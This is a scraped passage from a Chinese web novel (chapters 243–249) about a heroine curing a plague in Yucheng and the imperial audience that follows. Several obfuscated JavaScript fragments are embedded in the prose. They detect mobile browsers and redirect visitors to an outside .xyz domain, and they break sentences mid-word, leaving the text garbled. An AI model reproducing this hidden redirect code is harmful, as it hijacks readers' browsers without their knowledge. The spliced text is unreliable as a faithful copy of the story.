“影一。”秦时月攥紧缰绳,嗓子有些干涩,“去,带人把四个城门的栅栏再加固一下,派人盯紧,万不可再让禹城的人跑出去了。” 刚刚进城时,她便发现禹城的疫症有扩散的迹象,所以现在,需要封城,绝对不能让疫症泄露出去! “属下刚去看过,南门那边已经吵翻了,有几个百姓说宁愿死在外头,也不想烂在城里。” “让他们闹。”秦时月抬手按了按太阳穴,“你去告诉他们,现在冲出去,不出三日,他们的爹娘妻儿、街坊邻居,全得跟着遭罪,问问他们,忍心把一城的祸水,泼到别地去吗!?” “另外,封锁完城门,你想办法联系外界,将消息传到紧邻的几座城池,让他们做好隔离防护,万不可把瘟疫扩散出去!” “是!”影一领了命令,转身离开。 秦时月走在大街上,看着面前的满目疮痍,格外心痛。 不知不自觉,她走到了庙堂门口。 门是虚掩着的,轻轻一推,一股混杂着药味和腐烂的气息喷涌而来。 她深吸一口气,走了进去。 秦时月在庙堂内走了一圈,确定这里可以使用后,便对影卫们吩咐道:“去将城内患病的百姓聚集起来,我要在这里给他们看诊。” 第243章 秦时月心情复杂 为今之计,必须先控制瘟疫的扩散,让禹城没有感染瘟疫的人待在家中,不要出门,然后把那些感染瘟疫的人**起来,方便统一管理。 这次瘟疫来势凶凶,必须尽快解决,否则后果不堪设想。 不到半日,影卫们便将城中所有患病人员**到庙堂内,有些无法自己前来的,影卫们尽责的将人抬了过来。 小青在庙堂内给秦时月收拾出一间房,方便她休息。 秦时月则全身心的投入到了治病救人中。 接下来的几天,她直接住在了庙堂里。 虽然还是不断有人去世,但她与病人们同吃同睡,仔细研究他们的病情,也让活着的那些,多了一丝希冀。 可长时间高饱和的奔波让秦时月有些体力不支,她的身体越来越差。 下午时分,秦时月只觉得眼前一黑,双腿一软,失去了意识。 再次醒来时,她发现身边多了一个熟悉的人影,看清来人时,她忍不住张大了嘴巴。 “你怎么来了?” 身边的男子不是别人,正是耶律良才。 “我再不来,你是不是打算把自己也耗进这庙堂里?” “六皇子说笑了。”秦时月的脸上没有什么表情,她感觉自己身体虚弱,主动抬手为自己把脉。 还好,只是普通的劳累过度,并不是疫症。 “谢谢六皇子救了我。”秦时月作揖道歉,与耶律良才格外生疏。 看到这一幕,耶律良才心中有种说不出的情绪,他愤怒地瞪了她一眼,“要不是我,你刚刚就磕到了!” “所以我说谢谢。”秦时月皱眉,淡定地说道。 她不想和耶律良才有过多的牵扯,并且,她有点疑惑他为何会突然前来禹城。 自己不是下令封城了吗?他怎么进来的? 算了,现在不是问这些的时候,既然耶律良才来了那便来了吧,希望他不要给自己拖后腿。 眼下,秦时月身心俱疲,只想好好休息,她咳嗽一声,给小青递去一个眼神。 小青瞬间明白,“六皇子,我们小姐需要休息。” 说着,她上前一步,挡在秦时月身前,然后抬手扶着秦时月往里走去。 耶律良才冷哼一声,暗骂道:好个小没良心的! 在心里骂完,他转身离开了房间。 刚出房间,他就迫不及待地喊来自己的死士,“去,调动京城所有暗线,把所有治疗时疫的药材都运过来。” 死士听到这话,有些不可置信地互看一眼。 那可是他们筹谋多年的暗线,怎么能说动就动? “动用一切力量,处理禹城瘟疫,需要本皇子再重复一遍?”耶律良才眼神阴鸷,冷声道。 “是,属下遵命!”死士心中一紧,不敢抗命。 原本耶律良才是不想动用自己的死士和暗线的,可他刚刚看到秦时月昏迷的样子实在担心得紧。 他怕如果自己不帮秦时月,她真的会死在这里。 耶律良才不明白她图的是什么。 放着京城的安稳日子不过,非要来这里掺和一脚。 可看到她不要命的样子,他,不忍心…… 翌日,秦时月醒来,惊讶地发现耶律良才竟然带着人在庙堂内给病人分发棉被,这让秦时月有些惊讶。 难不成,他真的是来救治禹城百姓的? 想到这儿,秦时月有些不敢置信。 察觉到秦时月的视线,耶律良才将手中的棉被交给侍卫,自己走了过去。 “你在……” “正如你所见,我在帮你。”耶律良才直言道:“在医学上,我没有什么造诣,但是我可以做点力所能及的。” “谢谢。”秦时月眸光微柔,说不出心里是什么感觉。 他们对耶律良才防备良多,所以她从没想过,他会真心对待靖垣百姓,但如今…… “你负责治病救人,我负责做你的后方支持。”耶律良才坦言。 说着,他将自己从京城运来的药物全部交给秦时月。 秦时月查收完药物后立即投入治病当中,经过两人的不懈努力,禹城的瘟疫得到了有效地控制。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052894|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仅仅是被控制而已,想要彻底根治瘟疫,还很难。 秦时月知道,如果不能彻底根治瘟疫,无论是禹城还是京城,亦或是其他城池,都会遭殃。 但是,这段时间她研究了无数个药方,用过上百种办法,可那些药方都无法彻底根治瘟疫。 究竟要怎么做,才能根治瘟疫,挽救禹城百姓呢? 入夜后,秦时月独自一人来到庙堂后院的空地上,仰头看着皎洁的明月,心头苦涩。 若是先生东方苑在,她,一定能救治禹州百姓吧…… “你总说,你们那边有很多法子能治大病,我知道我有些贪心,可我真的没有办法了,你若在,求你,再帮我一次……”秦时月对月,呢喃出声。 后半夜,禹城彻底静了下来,秦时月躺在床上,意识昏沉间,她似乎看见远处有一束白光亮起。 白光里,东方苑的身影若隐若现。 “你呀,直接和我说就好了呀,我肯定会帮你的。”东方苑笑容恬淡。 “你有法子对不对,快告诉我!”秦时月着急地起身,双眼泛红,“禹城的百姓等不及了,我想要救他们,救靖垣!” 东方苑没回答,只是抬手在空中画了幅画。 “看见没?”东方苑轻快地说道:“这东西叫‘青蒿’,不是你们常用来烧的那种,要选叶子上带白霜的,阴干了熬水喝。” “用它就好了吗?”秦时月追问。 这个药材她是见过的,只是不知道其功效,平时只把它当作可以增强体力的补品。 “是的,辅以其他治疗瘟疫的药物,能事半功倍。时月,我相信你,你一定能救禹城。”东方苑笑道。 话落,一张药方飘到秦时月眼前。 秦时月激动地记住所有药,往前走了一步,想要拥抱她。 可当她要触碰到东方苑的那一刻,东方苑却突然如云雾般,消散得无影无踪…… 秦时月猛地睁开眼,窗外的月光正透过窗缝照了进来。 她眼前发亮,手忙脚乱地起身下床,鞋都没穿就跑到了案前。 第244章 绝望等死…… 紧接着,她将在梦中看到的药方记录下来,内心松了口气。 她攥着那张纸,对门外喊了一声:“影一!” 影一从门外进来,恭敬地对秦时月作揖,“小姐,有何吩咐。” “给。”秦时月将纸递给影一,“你按照这方子,让人去城里的药铺搜,务必把这些药材找齐,这很重要!” “是!”影一接过方子,仔细地看了一番,表情的严肃的离开。 这时,小青走了进来,手上还端着一碗热腾腾的白米粥,“小姐醒了?要不要先喝碗粥?” “不喝了。”秦时月摇了摇头,“你去帮忙,把那些药材全部收集起来,那是治疗瘟疫的良药。” 如果只是普通的时疫,禹城不会变成如今这副模样,秦时月可以确定,禹城的,是瘟疫。 闻言,小青的眼神暗了下去,“小姐,昨日最后一家药铺的药材已经空了,连陈放多年的药渣都被翻了出来,城里能入药的草根都挖光了,没有别的药了……” “城外呢?山野里总会有野生的青蒿吧!”秦时月拧眉道。 这款药材相对其他药材来说非常普遍,应该不会造成缺货的状态。 “也很难……”小青苦涩道。 禹城的事不是一朝一夕,周遭山上的草药,早被挖了一空。 秦时月攥着拳头,眼底透着一股不服输,“去搜!我不相信一点都没有!” “是,小姐。”小青领了命令,心里却没有把握。 待小青离开后,秦时月起身走到窗边,抬头看向窗外的月色。 眼下有了治病救人的良方,但是却没有药草,早知如此,她就该从京城多带点物资…… 窗外的风卷着落叶打在窗上,秦时月轻轻叹了口气。 “东方苑,你给了我方子,总不会让我困死在这儿。”秦时月轻声说道:“一定有办法的,一定有……” 经过影卫和小荷多方搜找,他们只找到了几株青蒿。 可是,整个禹城的人都需要,几株,远远不够。 难道他们真的要被困死在这禹城当中吗? 因为禹城爆发了瘟疫,秦时月下令封城,全城人员只进不出,他们也无法去其他城池求得草药。 秦时月给临近城池写了几封信,希望他们可以伸出援手帮助禹城渡过难关,可那些城池的百姓人人自危。 得知青蒿的重要性,怎会舍得拱手送人呢? 绝望之际,秦时月想到了耶律良才。 他作为契丹的六皇子,在京城势力庞大,如果他出面帮忙,或许能有一线生机。 于是乎,秦时月主动找到耶律良才,想要和他合作。 她将耶律良才约到庙堂后院,并准备了一壶上好的酒水。 “这酒是禹城最好的,你尝尝。”她一边说着,一边给耶律良才倒酒。 耶律良才挑挑眉,端起酒杯细抿一口,随即将酒杯放下。 明知道这小没良心的在动心思,可他,偏偏拒绝不了。 叹口气,他从袖子里掏出一个玉壶,“尝尝我的,这是我从京城带来的,仅此一瓶。先前觉得太烈,没舍得喝,现在嘛……倒是正好。” 再不喝,或许就没机会喝了。 秦时月的指尖搭在杯沿,没碰那酒,“你从京城带这个来,倒不如多带两袋米。” “米总有吃完的时候。”耶律良才仰头喝了一口,喉结动了动,嘴角勾起一抹淡笑,“酒不一样,能暖身子,也能壮胆。” 他放下酒杯,目光落在她脸上,“最重要的是,能与佳人共话。” “时月,你说,咱们要是真死在这儿,会不会有人记得咱们?应该不会吧,毕竟,我是契丹人……”说着,他猛一仰头,直接喝干了杯中酒。 听到这话,秦时月皱皱眉,心情莫名有些沉重,“六皇子不要说这些丧气话,只要找到足够量的青蒿,禹城就有救。” “谈何容易。”耶律良才笑了一下。 他知道秦时月在寻找青蒿,更知道青蒿可以治疗瘟疫,可是他也无法收集到青蒿。 白天的时候,耶律良才召集了自己死士,让他们去各个城池搜集药材,但得到的结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听到宋墨辰名字的那一个,秦时月猛地站起身,泪水已经先一步胡了一脸。 第245章 梦境相连,还是心有灵犀? 耶律良才眼神一沉,眼底杀气一闪而逝。 秦时月激动地起身,转身就走,耶律良才却往前走了一步,拦住了她的去路。 见状,秦时月眉头一拧,瞪着他呵斥,“你干什么,让开!” “你就那么喜欢他吗?那我呢?”耶律良才突然伸手抓住了她的手腕,不死心追问。 明明和她一起来禹城直面生死的是他,这些天和她一起救治百姓、挣扎求生的是他,可到头来…… 话音未落,院门口的灯笼忽然晃了晃,一道熟悉的身影走了过来。 见到来人后,秦时月立即推开耶律良才,向来人的方向跑去。 两人四目相视,她眼眶泛红的扑到了他的怀里。 经历过她才知道,她,早就离不开他了…… 宋墨辰眉眼温柔,连日来不舍昼夜赶路的疲惫在看到她的那一刻,彻底消散。 他将披风披在秦时月身上,一把将她抱进了怀里,感受着独属于她的味道。 “怎么瘦成这样?”他上下打量着她,满眼心疼。 明明她走之前还不是这样的,几日不见,他的月月竟疲惫成这样。 都是他不好,是他来晚了。 看到这一幕,耶律良才猛地攥紧了手中的酒杯,眼神危险。 “你怎么来了?”秦时月回过神,调整好情绪退后半步,问道。 她高兴他前来,又担心他过来。 禹城情况危急,她担心,宋墨辰会染上瘟疫。 “前几夜,我做了个梦。”宋墨辰抬手,摸了摸她的头,目光中有着说不出的意味。 “梦?”秦时月愣住,“什么梦?” “梦到了你。”宋墨辰的声音放轻了些,“你站在一片白光里,手里捏着张纸,说这是救命的方子,让我一定要信你。” 他自嘲地勾了勾唇角,“我素来不信鬼神托梦,可醒了之后,那方子上的药名记得清清楚楚,最重要的一味,是青蒿。” 听到这话,秦时月瞬间想起了东方苑。 难不成是东方苑给宋墨辰托梦? 想到有这种可能,秦时月眼眶泛红。 冥冥之中,似乎一直都是东方苑在帮她…… 宋墨辰没发现她的异状,继续道:“我让人搜遍了京城的药铺,又调了附近城池的存药,凑了这些,本来想派影卫送来,可总觉得不放心,所以亲自来了,我走的密道,快马加鞭,没敢耽搁。” 秦时月侧目看着那些药,唇角微张,眼眶泛红。 “怎么了,是我来晚了吗?”宋墨辰紧张地问道。 他已经快马加鞭很努力地往这边赶了,难不成还是晚了一步? “没有,刚好,你来得刚好。”秦时月笑道,感动地望着他。 耶律良才在一旁,眼神阴鸷的拿起石桌上的酒壶给自己满上一杯,仰头喝了个干净。 酒液呛得他咳嗽起来。 紧接着,他再次端起酒杯,眯着眼对着宋墨辰举了举杯,“辰王殿下倒是,来得快。” 宋墨辰没看他,只是担忧地望着秦时月,“药材带来了,接下来该怎么做?” 刚刚进城时,他便看到了禹城的满目疮痍,他知道,必须尽快参与救治,防止瘟疫蔓延。 “我来处理。”秦时月牵着宋墨辰的手,走到桌边,主动给他倒上了一杯酒水,“先喝口酒暖暖。” 宋墨辰接过杯子,一饮而尽,无人理会耶律良才。 “你们!”耶律良才冷哼一声,拿着自己的玉壶愤恨离开。 侍卫也不敢停留,立即跟了上去。 禹城的晨光,似乎因为宋墨辰的到来,终于有了几分暖意,不再是前些日子那种灰蒙蒙的死寂…… 天亮后,秦时月将药物分发给手下,并教导他们怎样煎药,同时,她亲自照顾病患,给重病的百姓喂药,检查身体。 宋墨辰、耶律良才则是暂时放下成见,在城内粥棚施粥赠物,帮助禹城百姓渡过难关。 在三人的共同努力下,禹城瘟疫得到了有效控制,有些病症轻的百姓已经转好。 “不错,只要再吃几服药,就能彻底好了。”秦时月叮嘱道,并将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋墨辰好奇地打量着她,“你是从哪知道的这些办法的?” “秘密。”秦时月笑了一下,并不打算将东方苑一事说出。 两人正说这话,耶律良才掀帘进来,他手里拿着一本厚厚的账册,脸上沾了点灰,“我在外面辛辛苦苦干活,你们倒好,在这儿偷闲。” “能者多劳嘛。”秦时月笑道。 耶律良才冷哼一声,将账册递到了秦时月面前,“粮食分完了,每户两斗,那些家里有病人的,多给了半斗,算是格外照看。” 若不是禹城发生了这种事,他怎可能会和宋墨辰共同救人。 秦时月放下粥碗,“辛苦你了,一起吃点吧。” 听到这话,耶律良才拿起个空药碗,给自己倒了碗小米粥。 “再过半月,该能彻底稳住了。”宋墨辰忽然转头看向秦时月,眼神坚定。 正如宋墨辰所言,半个月后,禹城瘟疫被彻底根治,街上的铺子渐渐都开了张,孩子们的欢声笑语使得禹城充满生机,完全没了先前那般死气沉沉的景象。 秦时月站在搭药棚的空地上,看着工匠们正拆最后几根木柱。 “王妃,您这是要走了吗?”百姓们不舍的问道。 秦时月笑着点头,“嗯,京里来了旨意,召我们回去复命。” “那可得好好谢谢您和辰王殿下、耶律皇子。”一个妇人走上前,将一个布袋子塞到秦时月手里,“这是家里今年新收的豆子,我们舍不得吃,还望您不嫌弃,带着路上吃。” 不等秦时月出言拒绝,巷口又涌来几十个百姓,他们手里捧着艰难存下来的粮,七嘴八舌地说着感谢的话。 “王妃,您可一定要常回来看看啊!” “辰王殿下、耶律皇子虽然话少,但也是大好人,您替我们谢谢他!” 秦时月一一谢过,把东西分给身后的影卫拿着。 正当他要说些什么时,耶律良才摇着扇子走了过来,身后,是宋墨辰。 “大家的心意我们领了,但东西可不能收太多,不然马车都装不下了。”耶律良才笑得温和。 “你们就是禹城的救世主!”百姓们纷纷给三人下跪磕头。 见状,秦时月立即走过去,扶他们起来。 宋墨辰走到她身侧,轻声说道:“走吧,京里催过了,该回去了。” 秦时月朝着百姓们点点头,随着他上了马车。 百姓们不肯离开,站在街道两侧目送着他们坐上马车,马车即将消失在视线的时候,百姓们突然大喊:“恭送王妃、辰王,耶律皇子!” …… 马车内,耶律良才轻咳一声,“我说,陛下这时候召咱们回去,是不是要**行赏啊?” 听到这话,秦时月眉头紧蹙,心中隐约感觉不安起来。 虽说他们救了禹城百姓,是大功一件,可他们三人在禹城的威望却盖过了皇帝。 宋墨辰看出她的担忧,伸手握住她的手捏了捏,“陛下自有考量,咱们只需做好分内的事。” “说真的。”耶律良才眸光微沉,嘴角却勾了起来,“这禹城虽苦,却比京城自在,时月,要不,咱们不回去了。” 宋墨辰没说话,只是眉眼里多了一丝警告。 这段时间他默许耶律良才在月月面前蹦跶,不代表他默许了耶律良才对月月的心思,如今已经离开禹城,耶律良才若看不清自己的位置,他不介意帮帮他! 秦时月掀开车帘,看向马车外面,“京城有京城的好,禹城有禹城的好,六皇子还是不要说这些话了。” 耶律良才在心里冷哼一声,偏过头闭眼假寐起来。 这个小没良心的,就是仗着自己喜欢她! …… 皇宫门口。 三人下了车,在宫人的带路下往宫内走去。 引路的老太监步子迈得极慢,将三人带到御书房后,老太监说道:“三位稍候,陛下正在里头看禹城送来折子。” 不等老太监进去禀报,皇帝的声音从御书房内传来,“进来吧。” 三人推门而入,殿内熏着淡淡的龙涎香。 秦时月皱皱眉,这香闻起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063177|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟然有些刺鼻。 是她的错觉吗? 皇帝正坐在窗边的软榻上,见他们进来,便放下手中的折子,目光在三人脸上扫了一圈。 “一路辛苦了。”皇帝笑着招手,“来,坐吧。” “谢陛下。”三人行礼作揖。 “禹城的事朕都听说了。”皇帝喝了口茶,慢悠悠开口,“时月一剂方子救万民,六皇子安抚百姓,辰王调度药材,你们三个相辅相成,少了谁都不成啊。” 耶律良才拱手笑道:“陛下谬赞了,臣也就是搭把手,真正厉害的是秦小姐,她仅凭几味寻常药材就解了瘟疫,才是真的大功一件。” 宋墨辰坐在一边,始终没出声。 闻言,秦时月连忙起身客套,“六皇子过誉了,若不是六皇子主持大局,辰王殿下冒险送药,臣女纵有方子也无用。” 皇帝看着他们互相推让,忽然笑了,“好了,你们也别谦虚了,有功就要赏,这是规矩。” 他目光转向秦时月,故意问道:“朕问你,你想要什么赏赐?金银珠宝、良田美宅,都可以。” 殿内瞬间静了下来,秦时月半垂着头,眼神淡漠,却又透着丝丝星光,“陛下,臣女所求,并非私利。” “哦?”皇帝挑眉,饶有兴致地看着她,“那你求什么?” “在禹城时,臣女见了太多女子因为不识字,只能困在家里,遇到难处,连求助的法子都没有,臣女想求陛下恩准,在京城开一所女子学堂,学堂先生教她们读书写字,教她们技术,让她们能有一技傍身,不必再依附旁人。” 这世间女子,本不该只为男子而活,女子,应有自己的活法! 听到这话,皇帝愣了一下,殿里也静了片刻。 忽然,他朗笑道:“好,好啊,既然是你想要的,朕准了,不仅准你开办学堂,还赐你黄金千两,当作学堂的开办资金。” “谢陛下!”秦时月深深一揖。 秦时月话音刚落,耶律良才忽然站起身,拱手对着皇帝作了一揖,“陛下,臣有个不情之请。” 第247章 推脱不了 皇帝挑眉,“哦?六皇子也有想要的?” “臣不要金银田地。”耶律良才转过头,目光落在秦时月身上,眼神深邃,“臣想求陛下给个公平,让臣和辰王殿下一样,能光明正大地追求秦小姐,而不是直接让秦小姐嫁给辰王。” 这话一出,殿里霎时落针可闻。 宋墨辰看着耶律良才,双拳紧握,眼神危险,秦时月更是不敢置信地看向他。 他怎么敢在皇帝面前要这种赏赐!? “六皇子,你!”秦时月看着他,心底莫名生出一团火气。 “秦小姐,我不是说笑。”耶律良才打断她,声音诚恳,“你不给我一次追求你的机会,你怎么知道我不适合你?” 秦时月深吸一口气,刚要开口拒绝,皇帝却先笑了,“既然六皇子有意,那就……” 皇帝的话还没说完,秦时月连忙跪下,“陛下……” 皇帝眼神微暗,收敛笑容,目光在三人脸上转了一圈,“时月不必拘谨,朕看六皇子一片赤诚,总不好凉了人家的心嘛。” 秦时月睫毛颤了颤,她深吸一口气,冷静地回答,“陛下,臣女与辰王殿下早有婚约在身,虽未大婚,但夫妻一体,哪有什么‘公平竞争’的道理?” 既然已经决定嫁给宋墨辰,那就绝不能再给耶律良才任何机会。 再者,一个他国的皇子,来京城必然另有所图。 “六皇子的心意,臣女心领了,只是万万不敢承情。” “哦?”皇帝挑眉,语气中有些不满,指尖在龙椅扶手上轻轻敲着,“六皇子远道而来,又为我靖垣做出如此贡献,总不能让外人觉得咱们不懂待客之道吧。” 皇帝的语气中带着不怒自威的冷意。 原本他就是想借此机会,让秦时月和宋墨辰分开。 如今她在民间的声望比皇室还高,无论她和谁在一起,只要不嫁给宋墨辰,皇帝都能接受。 不等皇帝说话,秦时月突然看向耶律良才,躬身道:“六皇子,古来好女不侍二夫,以后,请莫要开这种玩笑。” 耶律良才皱皱眉,有些急切,“我是真心想要求娶你的。” 他看得出来,皇帝不愿秦时月和宋墨辰在一起,刚好,他可借皇帝之手,把她困在自己身边。 “时月,出嫁后,自然不能侍二夫,可如今你还待字闺中。所谓好女百家求,时月这样德才兼备的,多人竞争也是理所当然。”皇帝笑道,眼底透着几分算计。 这语气,丝毫不把秦时月当作人,而是将她当作可以争取的货物。 想到这些,秦时月拳头紧握,心中泛起一阵恶心。 宋墨辰往前半步,坚定道:“父皇,儿臣与时月的婚约是您亲赐的,我们立过誓,天地为证,鬼神为鉴,如今六皇子要‘公平竞争’,莫非是要让儿臣违了皇命,背了誓言不成?” 秦时月心头一跳,有些不安的看了宋墨辰一眼。 如今宋墨辰的能力还不足以与陛下为敌,这种话怎么能当着陛下的面讲出来? 如果这番话惹恼了他,后果将不堪设想! “辰儿这话说的。”皇帝啧了一声,从果盘里捏起一颗葡萄,语调沉沉,“朕又没说要改婚约,急什么?不过是让时月表个态,总不能让客人觉得咱们欺负人,伤了两国和气。” 他愿意给耶律良才一个机会,只希望,耶律良才能好好把握才是。 耶律良才立即拱手作揖,眉眼带笑,“陛下明鉴,在下并非要拆散辰王殿下与县主,只是县主风华绝代,小王一见倾心,只想求个机会。” 秦时月头疼地闭上眼,不想看他们。 但凡皇帝没有坐在这里,她都会让耶律良才主动放弃对自己的想法。 可如今…… 耶律良才继续道:“哪怕只是陪县主左右,看她过得安好,在下也甘之如饴,辰王殿下战功赫赫,气度非凡,小王愿与殿下公平相较,让县主自己做选择,这总不算逾矩吧?” 秦时月听得指尖发冷,她侧过脸看宋墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063178|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰,只见他紧绷着脸,满脸怒气,那眼神,恨不得要将耶律良才撕碎似的。 她深吸一口气,往前挪了半步,对着皇帝盈盈一拜,“陛下,臣女蒲柳之姿,能得辰王殿下青睐已是三生有幸,实在当不起六皇子的追求。请陛下收回成命!” 如果不能再殿上将这些事说明白,以后还指不定会闹出什么事端。 她想让皇帝死心,让他知道,自己无论如何,此生,非宋墨辰不嫁。 耶律良才挑眉,语气里多了几分羞恼,“时月此话专挑本皇子的心窝戳。喜欢一个人,想争取机会,有错吗?在下只是觉得,光明正大,不藏着掖着,是男儿本色。” 他一边说着,一边看向宋墨辰。 要不是他出现得晚,现在站在秦时月身边的人一定是他,绝不是宋墨辰! 同时,他相信,只要秦时月和他多相处一段时间,她一定会接受自己,对自己倾心! “你!”秦时月被他堵得脸颊发烫,一时竟说不出反驳的话。 宋墨辰伸手按在她肩上,以示安慰。 他抬眼看向耶律良才,眸色里充满杀意。 如果早知道耶律良才对月月的心思,早在耶律良才入京的那一刻,他就会将其斩于马下! “六皇子远道而来是客,本王敬你三分,但时月是本王的未婚妻,这是板上钉钉的事,你若是再胡言乱语,休怪本王不客气。”宋墨辰冷冷地看着他,语气里充满威胁。 空气里的**味瞬间浓了几分。 看到这一幕,皇帝捻着胡须露出了一个阴狠的笑。 看来,秦时月就是宋墨辰的弱点,不错,很不错…… “好了好了,都是年轻人,争强好胜也是常情,六皇子一片痴心,时月坚守本心,辰儿护妻心切,都没错。”皇帝顿了顿,“不过君无戏言。” 皇帝话锋一转,“朕说了,奖赏你们,你们要什么朕都会同意,既然六皇子提出了‘公平竞争’,朕自然也会给六皇子一个机会。” 第248章 狗东西包藏祸心 “陛下!”宋墨辰拱手,语气坚定,“时月是儿臣的王妃……” “行了!”皇帝冷哼一声,警告他不要再说话。 秦时月察觉到皇帝语气中的冷意,垂下头攥着拳头,眼神阴鸷。 她知道,今天就算跪死在这御书房,皇帝都不会改变想法,既然如此,何必多此一举? 想到这,她深吸口气,不动声色的拉了拉宋墨辰的衣袖。 “谢陛下!”耶律良才眼神得意,沉声道谢。 “时月,朕过会儿就拟旨,让户部给你一块地,你随便去开设学堂,朕不干涉。” 秦时月躬身道谢,“谢陛下。” 地的事只要给她落实了,耶律良才的事……可以暂时放到一边。 她想要让京城的女子都有书可读,让她们学到文化知识,更希望女子不再被作为货物送来送去。 开设学堂,广收学徒,这都不是小事,若是真让秦时月把医术传开,她在民间的声望只会更高。 对此,皇帝是有些担忧的。 虽然秦时月只是一介女子,可她如今和宋墨辰有婚约在身,只怕,她在民间的威望会转到宋墨辰身上。 届时,天下只知辰王、明月县主,不知道有他这个皇帝。 可既然答应了秦时月的请求了,暂时,也只能让她着手去办了。 将来的事,将来再说。 殿内的气氛稍稍缓和,皇帝又想起什么似的,看向宋墨辰,“只顾着说他们了,辰儿,你想要什么赏赐?是想添些护卫,还是要扩大王府的规制,亦或是看中了哪处封地?尽管跟父皇说。” 只要宋墨辰有要求,他就能借此夺了他的兵权。 宋墨辰手握重兵,他夜不能寐。 听到这话,秦时月眉头一拧,心里有些担心,就连耶律良才都听出了弦外之音,忍不住冷冷勾了勾唇角。 靖垣这个老皇帝还真是会过河拆桥,这刚建立了功勋,现在就想**了,当真是一出好戏。 殿内一时静了下来,连香炉里飘出的烟都像是凝住了。 谁都知道辰王向来不重虚名,可这次皇帝给的台阶够高,谁也猜不透他会怎么接。 宋墨辰垂眸看了眼身旁的秦时月,见她紧握双手,眼神暗了暗。 半晌,他抬头看向皇帝,声音不高不低,没有什么情绪,“父皇,儿臣什么都不要。儿臣所做所为,皆是为了我靖垣的百姓们,不求有功,但求无过。” “哦?”皇帝挑了挑眉,像是有些意外,又像是早有预料,“你可知这话一出,满朝文武都会觉得朕亏待了你?” “儿臣不在乎这些。”宋墨辰微微欠身,“只要靖垣安稳,儿臣,别无所求。” 他想要的,皇帝可给不起,也不想给! 越是这个时候,他越不能暴露自己的真实想法。 可他感觉自己坚持不住了,他多好想将皇帝从那个位置上拉下来,给秦时月一个可以肆意妄为的避风港。 秦时月听得心头一热,悄悄抬眼看他。 皇帝看着两人这无声对视,冷哼一声,握紧了拳头。 这俩人真是没把他放在眼里,好,好的很! “你啊,总是把时月看得比什么都重,罢了,你既什么都不要,朕也不能真让你空着手回去,落人口实。”皇帝挑眉说道。 随后,皇帝转头对身旁的江福德吩咐道:“去,把库房里江南进贡的玉如意取来,再传旨,将城西那片刚收回来的良田都赐给辰王,从内务府拨出三万两白银,一万两黄金,一并赏给辰王。” “是!”江福德应声退下。 宋墨辰在心里冷哼一声,面上父慈子孝的推脱了一句,“父皇,这些太贵重了。” 金银珠宝罢了,辰王府要什么没有? “这些都是些寻常物件,你就收下吧。”皇帝看着宋墨辰,眉眼慈祥,“你可是禹城瘟疫的大功臣,你要是空着手出去,那些官员又得上折子了。” 宋墨辰像是不得已般拱手谢恩,“谢父皇恩典。” 只是那声谢里,听不出多少喜悦。 他心里清楚,这赏赐是假,皇帝想看看他到底有没有野心 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不一会儿,俩人走到马车附近,他一把掀开,将秦时月半扶半推地送了上去。 耶律良才刚迈出宫门便看见宋墨辰将秦时月强制推上马车的一幕。 他眼神一沉,扬声吩咐随从,声音里带着着急,“牵马过来!” 该死,他就慢走了两步,这厮就敢把人强制带走! 就在耶律良才上马时,突然被一个侍卫拦住了去路,是宋墨辰身边的侍书。 “六皇子留步。”侍书躬身行礼,语气恭敬,“我家王爷吩咐,宫门前人多车挤,怕冲撞了六皇子,特意让小的在此稍作阻拦。” 耶律良才眼神带怒,语气阴沉,“你敢拦本皇子!?” “六皇子恕罪。王爷也是怕不相关的人扰了王妃清净。”侍书垂着眼,手却始终挡在他身前,“方才殿上劳神,王妃怕是累了,王爷急着送王妃回去歇息呢。” 第249章 霸道如他,也会不知所措 “歇息?”耶律良才嗤笑一声,“他这是怕我抢人吧!” 侍书不接话,只是保持着拦路的姿势。 “让开!”耶律良才眼神阴翳,语气里明显多了一丝不耐烦。 侍书半垂着头,依旧不肯让步。 